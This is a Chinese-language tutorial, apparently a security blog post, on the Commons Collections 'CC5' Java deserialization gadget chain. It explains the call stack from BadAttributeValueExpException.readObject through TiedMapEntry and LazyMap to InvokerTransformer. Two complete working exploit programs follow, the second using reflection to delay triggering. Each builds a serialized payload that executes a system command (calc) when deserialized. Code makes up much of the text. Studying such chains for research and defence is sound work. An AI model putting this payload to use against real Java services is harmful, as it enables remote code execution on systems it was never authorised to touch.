0%

java_cc链5

java_cc链5

这里我们又回到了去触发 LazyMap.get(),只不过我们改变了 LazyMap.get() 的触发方式,不再和 CC1 和 CC3 一样借助 AnnotationInvocationHandler 的反序列化触发。

环境

  • apache commons collection-3.2.1
  • jdk1.8

调用栈

1
2
3
4
5
6
7
8
->BadAttributeValueExpException.readObject()
->TiedMapEntry.toString()
->TiedMapEntry.getValue()
->LazyMap.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->…………

调用栈分析

首先我们看到BadAttributeValueExpException类(该类继承了Exception,又继承了Throwable,而Throwable实现了serializable接口)的readObject方法

img

将val值赋给valObj变量,先判断是否为空,再判断是否为字符串,如果不是则调用toString()方法

那我们可以把val赋值为TiedMapEntry

而这个if条件是怎么过的呢,不用担心,关注这段代码:System.getSecurityManager() == null

img

img

可以看到,这个值默认为null

继续

img

调用getValue

img

map是我们可控的,将其设置为LazyMap即可

尝试编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package main.java.cc5;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class test {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map useless = new HashMap<>();
useless.put("value","ycxlo");
Map lazymap = LazyMap.decorate(useless,chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"123");

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(badAttributeValueExpException);
oos.flush();
oos.close();

ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}

虽说弹出了计算器,但是调试的时候总感觉不对,比如无论在BadAttributeValueExpException的构造方法下断点,或者在readObject方法出下,都会直接弹出计算器,并且都没有走到ChainedTransform类

后面看了一下其他师傅的exp,感觉应该是我在实例化时就调用了toString方法,而没有等到readObject方法

img

利用反射修改exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package main.java.cc5;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class test {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map useless = new HashMap<>();
useless.put("value","ycxlo");
Map lazymap = LazyMap.decorate(useless,chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"123");

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(badAttributeValueExpException);
oos.flush();
oos.close();

ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}